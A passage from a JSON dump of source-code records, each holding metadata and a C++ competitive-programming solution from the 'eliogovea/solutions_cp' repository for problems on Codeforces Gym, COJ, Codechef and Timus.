j;\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tcout << a[i];\r\n\t\tif (i != n) cout << \" \";\r\n\t\telse cout << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.366262823343277, "alphanum_fraction": 0.41472506523132324, "avg_line_length": 18.14285659790039, "blob_id": "599f5466f15fa816806dd64b6a480e5715487f24", "content_id": "254e0d4e35793482389932b222c85997ea998024", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1073, "license_type": "no_license", "max_line_length": 134, "num_lines": 56, "path": "/Codeforces-Gym/101095 - 2016-2017 CT S03E03: Codeforces Trainings Season 3 Episode 3 - 2007-2008 ACM-ICPC, Central European Regional Contest 2007 (CERC 07)/Y.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016-2017 CT S03E03: Codeforces Trainings Season 3 Episode 3 - 2007-2008 ACM-ICPC, Central European Regional Contest 2007 (CERC 07)\n// 101095Y\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int MAXN = 1000;\nint p[MAXN];\nint em[MAXN];\nvector<int> p2[MAXN];\n\nint sol[MAXN];\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n int n, t, e; cin >> n >> t >> e;\n\n for( int i = 1; i <= e; i++ ){\n int h, pp; cin >> h >> pp;\n p[h] += pp;\n em[h]++;\n p2[h].push_back( pp );\n }\n\n for( int i = 1; i <= n; i++ ){\n if( i == t ){\n continue;\n }\n\n if( p[i] < em[i] ){\n cout << \"IMPOSSIBLE\\n\";\n return 0;\n }\n\n sort( p2[i].begin() , p2[i].end() , greater<int>() );\n\n int j = 0;\n while( em[i] > 0 ){\n sol[i]++;\n em[i] -= p2[i][j++];\n }\n }\n\n for( int i = 1; i <= n; i++ ){\n if( i > 1 ){\n cout << ' ';\n }\n cout << sol[i];\n }\n cout << '\\n';\n}\n\n" }, { "alpha_fraction": 0.4297872483730316, "alphanum_fraction": 0.4782978594303131, "avg_line_length": 21.150943756103516, "blob_id": "dd4ddbedbd97ccec351f93737c9aeb5809ab1ff4", "content_id": "e24e61c5683c24035bd5b28dd7447352e074643a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1175, "license_type": "no_license", "max_line_length": 98, "num_lines": 53, "path": "/Codechef/TIMEASR.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst double eps = 1.0 / 120.0 + 1e-10;\n\nint t;\ndouble a;\n\npair<double, pair<int, int> > ans[100 * 100];\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\tint sz = 0;\n\tfor (int i = 0; i < 12; i++) {\n\t\tfor (int j = 0; j < 60; j++) {\n\t\t\tdouble m = 6.0 * j;\n\t\t\tdouble h = 30.0 * i + j / 2.0;\n\t\t\tans[sz].first = fabs(m - h);\n\t\t\t//while (ans[sz].first >= 360.0) ans[sz].first -= 360.0;\n\t\t\tif (ans[sz].first >= 180.0) ans[sz].first = 360.0 - ans[sz].first;\n\t\t\tans[sz].second.first = i;\n\t\t\tans[sz].second.second = j;\n\t\t\t//cout << ans[sz].first << \" \" << ans[sz].second.first << \" \" << ans[sz].second.second << \"\\n\";\n\t\t\tsz++;\n\t\t}\n\t}\n\n\tsort(ans, ans + sz);\n\tcin >> t;\n\twhile (t--) {\n\t\tcin >> a;\n\t\tint l = 0;\n\t\tint r = sz - 1;\n\t\tint p = r;\n\t\twhile (l <= r) {\n\t\t\tint m = (l + r) >> 1;\n\t\t\tif (ans[m].first + eps >= a) {\n\t\t\t\tp = m;\n\t\t\t\tr = m - 1;\n\t\t\t} else {\n\t\t\t\tl = m + 1;\n\t\t\t}\n\t\t}\n\t\tfor (int i = p; i < sz && fabs(ans[i].first - a) <= eps; i++) {\n\t\t\tif (ans[i].second.first < 10) cout << \"0\";\n\t\t\tcout << ans[i].second.first << \":\";\n\t\t\tif (ans[i].second.second < 10) cout << \"0\";\n\t\t\tcout << ans[i].second.second << \"\\n\";\n\t\t}\n\t}\n}\n\n" }, { "alpha_fraction": 0.3298565745353699, "alphanum_fraction": 0.36375489830970764, "avg_line_length": 22.74193572998047, "blob_id": "12663ebf256ebbf42b4e8100a21c04d0f63a86d1", "content_id": "3f06edde0e889192bda7687392a1590e75bfb380", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 767, "license_type": "no_license", "max_line_length": 78, "num_lines": 31, "path": "/COJ/eliogovea-cojAC/eliogovea-p1929-Accepted-s671519.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "//============================================================================\r\n// Name : 1929.cpp\r\n// Author : eliogovea\r\n// Version :\r\n// Copyright : \r\n// Description : Hello World in C++, Ansi-style\r\n//============================================================================\r\n\r\n#include <cstdio>\r\n#include <algorithm>\r\n#include <iostream>\r\n\r\nusing namespace std;\r\n\r\nint a, c, m, f0, q, n, x, f[100000005];\r\nchar s[10];\r\n\r\nint main() {\r\n\tscanf(\"%d%d%d%d%d%d\", &a, &c, &m, &f0, &q, &n);\r\n\tf[1] = f0;\r\n\tfor (int i = 2; i <= n; i++)\r\n\t\tf[i] = (a * f[i - 1] + c) % m;\r\n\tscanf(\"%s\", s);\r\n\tif (s[0] == 'A') sort(f + 1, f + 1 + n);\r\n\telse sort(f + 1, f + 1 + n, greater<int>());\r\n\r\n\twhile (q--) {\r\n\t\tscanf(\"%d\", &x);\r\n\t\tprintf(\"%d\\n\", f[x]);\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.45588234066963196, "alphanum_fraction": 0.4978991448879242, "avg_line_length": 18.69565200805664, "blob_id": "0cba3f9d3cea9b2b1ee66e14e879176dd7259c12", "content_id": "7b8ed20943835051fa052a55b5d72024e775627e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 476, "license_type": "no_license", "max_line_length": 59, "num_lines": 23, "path": "/COJ/eliogovea-cojAC/eliogovea-p1073-Accepted-s745345.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <algorithm>\r\n\r\nusing namespace std;\r\n\r\nint p, r1, c1, r2, c2;\r\n\r\ninline bool check(int x) {\r\n\tif (x < 1 || x > 8) return false;\r\n\treturn true;\r\n}\r\n\r\nint main() {\r\n\twhile (cin >> p >> r1 >> c1 >> r2 >> c2) {\r\n\t\tbool ok = true;\r\n\t\tif (!check(r1) || !check(c1) || !check(r2) || !check(c2))\r\n\t\t\tok = false;\r\n\t\tint diff = abs(r1 - r2) + abs(c1 - c2);\r\n\t\tif (diff != 1) ok = false;\r\n\t\tif (!ok) cout << \"ERROR\\n\";\r\n\t\telse cout << 3 - p << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3622269332408905, "alphanum_fraction": 0.3735024631023407, "avg_line_length": 16.428571701049805, "blob_id": "0f6c51bbfd057a855944890c7fa82915feb35ab0", "content_id": "402eb03796983aed683d8b3a229abddb0e54a3f4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1419, "license_type": "no_license", "max_line_length": 45, "num_lines": 77, "path": "/COJ/eliogovea-cojAC/eliogovea-p3711-Accepted-s1009541.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint t;\r\nint n;\r\nint a[30][30];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tcin >> n;\r\n\t\tint x = 1;\r\n\t\twhile (x * x < n) {\r\n\t\t\tx++;\r\n\t\t}\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tfor (int j = 0; j < n; j++) {\r\n\t\t\t\tcin >> a[i][j];\r\n\t\t\t\ta[i][j]--;\r\n\t\t\t}\r\n\t\t}\r\n\t\tbool ok = true;\r\n\t\tfor (int row = 0; row < n; row++) {\r\n\t\t\tvector <bool> used(x, false);\r\n\t\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\t\tif (used[a[row][i]]) {\r\n\t\t\t\t\tok = false;\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t\tused[a[row][i]] = true;\r\n \t\t\t}\r\n\t\t\tif (!ok) {\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t}\r\n\t\tif (!ok) {\r\n\t\t\tcout << \"no\\n\";\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\tfor (int col = 0; col < n; col++) {\r\n\t\t\tvector <bool> used(x, false);\r\n\t\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\t\tif (used[a[i][col]]) {\r\n\t\t\t\t\tok = false;\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t\tused[a[i][col]] = true;\r\n\t\t\t}\r\n\t\t\tif (!ok) {\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t}\r\n\t\tif (!ok) {\r\n\t\t\tcout << \"no\\n\";\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\tfor (int i = 0; i < x && ok; i++) {\r\n\t\t\tfor (int j = 0; j < x && ok; j++) {\r\n\t\t\t\tvector <bool> used(x, false);\r\n\t\t\t\tfor (int ii = 0; ii < x && ok; ii++) {\r\n\t\t\t\t\tfor (int jj = 0; jj < x && ok; jj++) {\r\n\t\t\t\t\t\tif (used[a[i * x + ii][j * x + jj]]) {\r\n\t\t\t\t\t\t\tok = false;\r\n\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\tused[a[i * x + ii][j * x + jj]] = true;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\tcout << (ok ? \"yes\" : \"no\") << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3380281627178192, "alphanum_fraction": 0.4084506928920746, "avg_line_length": 17.22857093811035, "blob_id": "8a86aefe548005a674a5de9bcf69b9322ed5e083", "content_id": "f94fd69fac7ab36d0ca1dccd213ac8de9e00ab62", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 639, "license_type": "no_license", "max_line_length": 56, "num_lines": 35, "path": "/Codeforces-Gym/100792 - 2015-2016 ACM-ICPC, NEERC, Moscow Subregional Contest/I.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2015-2016 ACM-ICPC, NEERC, Moscow Subregional Contest\n// 100792I\n\n\n#include <bits/stdc++.h>\n\nusing namespace std;\nint n;\nint dp[100000],a,b;\n\nint main()\n{\n ios::sync_with_stdio(0);\n cin.tie(0);\n //freopen(\"data.txt\",\"r\",stdin);\n cin >> n;\n for( int i = 1; i <= n; i++ ){\n cin >> a >> b;\n for( int j = a; j <= b; j++ ){\n dp[j] = 1;\n }\n\n }\n for( int i = 1;i <= 2080; i++ ){\n dp[i] += dp[i-1];\n }\n for( int i = 1;i <= 2000-180 ; i++ ){\n if( dp[i+179]-dp[i-1] > 90 ){\n cout << \"No\\n\";\n return 0;\n }\n }\n cout << \"Yes\\n\";\n \n}\n\n" }, { "alpha_fraction": 0.4060031473636627, "alphanum_fraction": 0.4391785264015198, "avg_line_length": 17.78125, "blob_id": "1cd6d6bbd541f422aa16d3df8a33a9c34357ce85", "content_id": "1695b42b2a80add3980f6b1e6a64e985d1e34483", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 633, "license_type": "no_license", "max_line_length": 65, "num_lines": 32, "path": "/COJ/eliogovea-cojAC/eliogovea-p2161-Accepted-s618791.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <cmath>\r\nusing namespace std;\r\n\r\ntypedef long long ll;\r\n\r\nconst int MAXN = 35;\r\n\r\nll c[MAXN][MAXN];\r\n\r\nll cmb(int a, int b) {\r\n if (b > a - b) b = a - b;\r\n if (b == 0) return 1ll;\r\n if (c[a][b]) return c[a][b];\r\n else return c[a][b] = cmb(a - 1, b - 1) + cmb(a - 1, b);\r\n}\r\n\r\nint n;\r\n\r\nint main() {\r\n cin >> n;\r\n if (n <= 7) {\r\n cout << \"1.0000000\\n\";\r\n return 0;\r\n }\r\n double a, b;\r\n a = pow(2, n);\r\n for (int i = 0; i <= 3; i++)\r\n b += ((double)cmb(n, i)) / a + (double)cmb(n, n - i) / a;\r\n cout.precision(7);\r\n cout << fixed << b << endl;\r\n}\r\n" }, { "alpha_fraction": 0.40976330637931824, "alphanum_fraction": 0.43934911489486694, "avg_line_length": 15.789473533630371, "blob_id": "92463cca502fc489d11385c82f548be4892ae5e8", "content_id": "9d24123fbea3ad484a932230387ec6d1e6504af8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 676, "license_type": "no_license", "max_line_length": 58, "num_lines": 38, "path": "/COJ/eliogovea-cojAC/eliogovea-p1850-Accepted-s547472.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#define MAXN 1000010\r\n#define MOD 10000\r\n\r\nint n,q,u,tip,a,b;\r\nint tree[MAXN];\r\n\r\ninline void update(int pos, int val)\r\n{\r\n for(int i=pos; i<=n; i+= i&-i)\r\n tree[i]=(tree[i]+val)%MOD;\r\n}\r\n\r\ninline int query(int pos)\r\n{\r\n int ret=0;\r\n for(int i=pos; i; i -= i&-i)\r\n ret=(ret+tree[i])%MOD;\r\n return ret;\r\n}\r\n\r\n\r\nint main()\r\n{\r\n scanf(\"%d%d%d\",&n,&u,&q);\r\n u+=q;\r\n while(u--)\r\n {\r\n scanf(\"%d%d%d\",&tip,&a,&b);\r\n if(tip==1)\r\n {\r\n if(a-1>0)update(a-1,b);\r\n update(a,2*b);\r\n update(a+1,b);\r\n }\r\n else printf(\"%d\\n\",(query(b)-query(a-1)+MOD)%MOD);\r\n }\r\n}\r\n" }, { "alpha_fraction": 0.39576271176338196, "alphanum_fraction": 0.4148305058479309, "avg_line_length": 14.878571510314941, "blob_id": "f8aee5b789377e98df50ab9970a46933b1004b61", "content_id": "8813e8d65bfdf5ef35af41e7df76ef7054f362c1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2360, "license_type": "no_license", "max_line_length": 61, "num_lines": 140, "path": "/Timus/1752-7217655.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// Problem: pace=1&num=1752\n// Verdict: Accepted\n\n#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 20005;\r\nconst int LN = 15;\r\n\r\nint n;\r\nint q;\r\n\r\nvector <int> g[N];\r\n\r\nint parent[LN][N];\r\n\r\nint timer;\r\nint timeIn[N];\r\nint timeOut[N];\r\n\r\nint dist[N];\r\n\r\nvoid dfs(int u, int p, int d) {\r\n\ttimeIn[u] = timer++;\r\n\tdist[u] = d;\r\n\tparent[0][u] = p;\r\n\tfor (int i = 0; i < g[u].size(); i++) {\r\n\t\tint v = g[u][i];\r\n\t\tif (v == p) {\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\tdfs(v, u, d + 1);\r\n\t}\r\n\ttimeOut[u] = timer++;\r\n}\r\n\r\ninline bool isAncestor(int u, int v) {\r\n\treturn (timeIn[u] <= timeIn[v] && timeOut[v] <= timeOut[u]);\r\n}\r\n\r\ninline int getLCA(int u, int v) {\r\n\tif (isAncestor(u, v)) {\r\n\t\treturn u;\r\n\t}\r\n\tfor (int i = LN - 1; i >= 0; i--) {\r\n\t\tif (!isAncestor(parent[i][u], v)) {\r\n\t\t\tu = parent[i][u];\r\n\t\t}\r\n\t}\r\n\treturn parent[0][u];\r\n}\r\n\r\nvoid solve() {\r\n\tcin >> n >> q;\r\n\tfor (int i = 0; i < n - 1; i++) {\r\n\t\tint u, v;\r\n\t\tcin >> u >> v;\r\n\t\tu--;\r\n\t\tv--;\r\n\t\tg[u].push_back(v);\r\n\t\tg[v].push_back(u);\r\n\t}\r\n\r\n\tdfs(0, 0, 0);\r\n\tint x = 0;\r\n\tfor (int i = 1; i < n; i++) {\r\n\t\tif (dist[i] > dist[x]) {\r\n\t\t\tx = i;\r\n\t\t}\r\n\t}\r\n\tdfs(x, x, 0);\r\n\tint y = 0;\r\n\tfor (int i = 1; i < n; i++) {\r\n\t\tif (dist[i] > dist[y]) {\r\n\t\t\ty = i;\r\n\t\t}\r\n\t}\r\n\r\n\tfor (int i = 1; i < LN; i++) {\r\n\t\tfor (int j = 0; j < n; j++) {\r\n\t\t\tparent[i][j] = parent[i - 1][parent[i - 1][j]];\r\n\t\t}\r\n\t}\r\n\r\n\twhile (q--) {\r\n\t\tint u, d;\r\n\t\tcin >> u >> d;\r\n\t\tu--;\r\n\t\tint answer = -1;\r\n\t\tif (dist[u] >= d) {\r\n\t\t\tanswer = u;\r\n\t\t\tfor (int i = 0; i < LN; i++) {\r\n\t\t\t\tif (d & (1 << i)) {\r\n\t\t\t\t\tanswer = parent[i][answer];\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t} else {\r\n\t\t\tint\tz = getLCA(u, y);\r\n\t\t\tint tDist = dist[u] + dist[y] - 2 * dist[z];\r\n\t\t\tif (tDist >= d) {\r\n\t\t\t\tif (dist[u] - dist[z] >= d) {\r\n\t\t\t\t\tanswer = u;\r\n\t\t\t\t\tfor (int i = 0; i < LN; i++) {\r\n\t\t\t\t\t\tif (d & (1 << i)) {\r\n\t\t\t\t\t\t\tanswer = parent[i][answer];\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t} else {\r\n\t\t\t\t\td = tDist - d;\r\n\t\t\t\t\tanswer = y;\r\n\t\t\t\t\tfor (int i = 0; i < LN; i++) {\r\n\t\t\t\t\t\tif (d & (1 << i)) {\r\n\t\t\t\t\t\t\tanswer = parent[i][answer];\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t\td = tDist - d;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tif (answer == -1) {\r\n\t\t\tcout << \"0\\n\";\r\n\t\t\tcontinue;\r\n\t\t} else {\r\n\t\t\t{ // debug\r\n\t\t\t\tint z = getLCA(u, answer);\r\n\t\t\t\tassert(dist[u] + dist[answer] - 2 * dist[z] == d);\r\n\t\t\t}\r\n\t\t\tcout << answer + 1 << \"\\n\";\r\n\t\t}\r\n\t}\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n\tsolve();\r\n}\r\n" }, { "alpha_fraction": 0.3952702581882477, "alphanum_fraction": 0.4189189076423645, "avg_line_length": 19.658536911010742, "blob_id": "e69c99cde2a8a8a029794e9c54b9803a3d4ea9e2", "content_id": "3fd4e52cf6fb5a8c07bbf0f8c055b885df070970", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 888, "license_type": "no_license", "max_line_length": 56, "num_lines": 41, "path": "/COJ/eliogovea-cojAC/eliogovea-p2678-Accepted-s643915.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <algorithm>\r\n#include <fstream>\r\n\r\nusing namespace std;\r\n\r\nint tc, cont['Z' + 5];\r\npair<int, char> a[30];\r\nstring str;\r\n\r\nint main() {\r\n\t//freopen(\"e.in\", \"r\", stdin);\r\n\tcin >> tc;\r\n\tgetline(cin, str);\r\n\twhile (tc--) {\r\n\t\tgetline(cin, str);\r\n\t\tint s = str.size();\r\n\t\tfor (int i = 0; i < s; i++)\r\n\t\t\tcont[str[i]]++;\r\n\t\tfor (char i = 'A'; i <= 'Z'; i++)\r\n\t\t\ta[i - 'A'] = make_pair(cont[i], i);\r\n\t\tsort(a, a + 26);\r\n\t\tif (a[25].first != a[24].first) {\r\n\t\t\tint sol = a[25].second - 'E';\r\n\t\t\tif (sol < 0) sol += 26;\r\n\t\t\tcout << sol << ' ';\r\n\t\t\tfor (int i = 0; i < s; i++) {\r\n if (str[i] < 'A' || str[i] > 'Z') cout << ' ';\r\n else {\r\n char c = 'A' + (str[i] - 'A' - sol + 26) % 26;\r\n cout << c;\r\n }\r\n\t\t\t}\r\n\t\t\tcout << '\\n';\r\n\t\t}\r\n\t\telse cout << \"NOT POSSIBLE\\n\";\r\n\r\n\t\tfor (int i = 'A'; i <= 'Z'; i++)\r\n\t\t\tcont[i] = 0;\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.33139535784721375, "alphanum_fraction": 0.34302327036857605, "avg_line_length": 20.19354820251465, "blob_id": "e0f7849ee4ce7a067a991e42b25b374d7c10abc2", "content_id": "2eba9dc67025942a058a8900084bc6eacfc5c64f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 688, "license_type": "no_license", "max_line_length": 78, "num_lines": 31, "path": "/COJ/eliogovea-cojAC/eliogovea-p3001-Accepted-s691960.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "//============================================================================\r\n// Name : 3018.cpp\r\n// Author : eliogovea\r\n// Version :\r\n// Copyright : \r\n// Description : Hello World in C++, Ansi-style\r\n//============================================================================\r\n\r\n#include <iostream>\r\n\r\nusing namespace std;\r\n\r\ntypedef long long LL;\r\n\r\nLL n, m, u, d, ans = -1;\r\n\r\ninline LL f(LL a) {\r\n\treturn u * a - d * (n - a);\r\n}\r\n\r\nint main() {\r\n\tcin >> n >> m;\r\n\tfor (int i = 1; i <= m; i++) {\r\n\t\tcin >> u >> d;\r\n\t\tLL a = (n * d) / (u + d);\r\n\t\twhile (f(a) <= 0) a++;\r\n\t\tLL tmp = f(a);\r\n\t\tif (ans == -1LL || tmp < ans) ans = tmp;\r\n\t}\r\n\tcout << ans << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.40965816378593445, "alphanum_fraction": 0.4335322976112366, "avg_line_length": 15.552380561828613, "blob_id": "5dd96fd1f9c6c486daa6de3a691cd35a538ec872", "content_id": "01eea2da315ba5f68ea47ff59aa76126fba55019", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1843, "license_type": "no_license", "max_line_length": 67, "num_lines": 105, "path": "/COJ/eliogovea-cojAC/eliogovea-p1957-Accepted-s888822.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int S = 20 * 15 + 10;\r\nconst int N = 1005;\r\nconst int INF = 1e9;\r\n\r\nstruct node {\r\n\tint fin;\r\n\tint next[4];\r\n\tint fail;\r\n\tnode() {\r\n\t\tfin = 0;\r\n\t\tnext[0] = next[1] = next[2] = fail = -1;\r\n\t}\r\n};\r\n\r\nnode t[S];\r\nint sz = 1;\r\n\r\nconst int root = 0;\r\n\r\nvoid add(string &s) {\r\n\tint cur = root;\r\n\tfor (int i = 0; s[i]; i++) {\r\n\t\ts[i] -= 'A';\r\n\t\tif (t[cur].next[s[i]] == -1) {\r\n\t\t\tt[cur].next[s[i]] = sz++;\r\n\t\t}\r\n\t\tcur = t[cur].next[s[i]];\r\n\t}\r\n\tt[cur].fin++;\r\n}\r\n\r\nvoid build() {\r\n\tqueue <int> Q;\r\n\tfor (int i = 0; i < 3; i++) {\r\n\t\tif (t[root].next[i] == -1) {\r\n\t\t\tt[root].next[i] = root;\r\n\t\t} else {\r\n\t\t\tt[t[root].next[i]].fail = root;\r\n\t\t\tQ.push(t[root].next[i]);\r\n\t\t}\r\n\t}\r\n\twhile (!Q.empty()) {\r\n\t\tint cur = Q.front();\r\n\t\tQ.pop();\r\n\t\tfor (int i = 0; i < 3; i++) {\r\n\t\t\tint next = t[cur].next[i];\r\n\t\t\tif (next != -1) {\r\n\t\t\t\tint fail = t[cur].fail;\r\n\t\t\t\twhile (t[fail].next[i] == -1) {\r\n\t\t\t\t\tfail = t[fail].fail;\r\n\t\t\t\t}\r\n\t\t\t\tfail = t[fail].next[i];\r\n\t\t\t\tt[next].fail = fail;\r\n\t\t\t\tt[next].fin += t[fail].fin;\r\n\t\t\t\tQ.push(next);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n}\r\n\r\nint find_next(int cur, int ch) {\r\n\twhile (t[cur].next[ch] == -1) {\r\n\t\tcur = t[cur].fail;\r\n\t}\r\n\tcur = t[cur].next[ch];\r\n\treturn cur;\r\n}\r\n\r\nint n, k;\r\nstring s;\r\nint dp[N][S];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> n >> k;\r\n\twhile (n--) {\r\n\t\tcin >> s;\r\n\t\tadd(s);\r\n\t}\r\n\tbuild();\r\n\tfor (int i = 0; i <= k; i++) {\r\n\t\tfor (int j = 0; j < sz; j++) {\r\n\t\t\tdp[i][j] = -INF;\r\n\t\t}\r\n\t}\r\n\tdp[0][0] = 0;\r\n\tfor (int i = 0; i< k; i++) {\r\n\t\tfor (int j = 0; j < sz; j++) {\r\n\t\t\tfor (int l = 0; l < 3; l++) {\r\n\t\t\t\tint next = find_next(j, l);\r\n\t\t\t\tdp[i + 1][next] = max(dp[i + 1][next], dp[i][j] + t[next].fin);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tint ans = 0;\r\n\tfor (int i = 0; i < sz; i++) {\r\n\t\tans = max(ans, dp[k][i]);\r\n\t}\r\n\tcout << ans << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.36957886815071106, "alphanum_fraction": 0.3922061622142792, "avg_line_length": 17.079545974731445, "blob_id": "3d35595c99b3bf3c13f356b83e3a3466c146b883", "content_id": "373fb1377c7cdb19c120ce8f4faf8802f5030de5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1591, "license_type": "no_license", "max_line_length": 73, "num_lines": 88, "path": "/Codeforces-Gym/100109 - 2012-2013 ACM-ICPC, NEERC, Southern Subregional Contest/F.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2012-2013 ACM-ICPC, NEERC, Southern Subregional Contest\n// 100109F\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int MAXN = 4010;\n\nint c[MAXN][MAXN];\nint sz[MAXN];\n\nint n, k;\nint cnt = 0;\n\nint ok( int t ){\n multiset<int> pq;\n\n for( int i = 1; i <= cnt; i++ ){\n if( sz[i] >= t ){\n pq.insert( c[i][t-1] );\n }\n\n if( pq.size() > k ){\n pq.erase( pq.find( (*pq.begin()) ) );\n }\n }\n\n if( pq.size() < k ){\n return 0;\n }\n\n int cost = 0;\n for( multiset<int>::iterator it = pq.begin(); it != pq.end(); it++ ){\n cost += (*it);\n }\n\n return cost;\n}\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n freopen(\"input.txt\",\"r\",stdin);\n freopen(\"output.txt\",\"w\",stdout);\n\n cin >> n >> k;\n map<int,int> dic;\n\n for( int i = 0; i < n; i++ ){\n int m, cs; cin >> m >> cs;\n if( dic.find(m) == dic.end() ){\n dic[m] = ++cnt;\n }\n\n int x = dic[m];\n c[x][ sz[x]++ ] = cs;\n }\n\n for( int i = 1; i <= cnt; i++ ){\n sort( c[i] , c[i] + sz[i] , greater<int>() );\n for( int j = 1; j < sz[i]; j++ ){\n c[i][j] += c[i][j-1];\n }\n }\n\n int t = 0;\n int cost = 0;\n int ini = 1, fin = n;\n\n while( ini <= fin ){\n int mid = ( ini + fin ) / 2;\n int cs = 0;\n\n if( (cs = ok(mid)) ){\n t = mid;\n cost = cs;\n ini = mid+1;\n }\n else{\n fin = mid-1;\n }\n }\n\n cout << t << ' ' << cost << '\\n';\n}\n" }, { "alpha_fraction": 0.26171591877937317, "alphanum_fraction": 0.29416006803512573, "avg_line_length": 17.26388931274414, "blob_id": "a571e129e9ee57095697b9e34028d9db28e89218", "content_id": "c9f36d06714db01331969052fe722bd2859855a4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1387, "license_type": "no_license", "max_line_length": 52, "num_lines": 72, "path": "/COJ/eliogovea-cojAC/eliogovea-p2082-Accepted-s986851.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tint n, m;\r\n\twhile (cin >> n >> m) {\r\n\t\tif (n == 0 && m == 0) {\r\n\t\t\tbreak;\r\n\t\t}\r\n\t\tvector <int> v(n);\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tstring s;\r\n\t\t\tcin >> s;\r\n\t\t\tfor (int j = 0; j < m; j++) {\r\n\t\t\t\tif (s[j] == 'X') {\r\n\t\t\t\t\tv[i] |= (1 << j);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\tint ans = -1;\r\n\t\tfor (int mask = 0; mask < (1 << m); mask++) {\r\n\t\t\tvector <int> nv = v;\r\n\t\t\tint cnt = 0;\r\n\t\t\tfor (int i = 0; i < m; i++) {\r\n\t\t\t\tif (mask & (1 << i)) 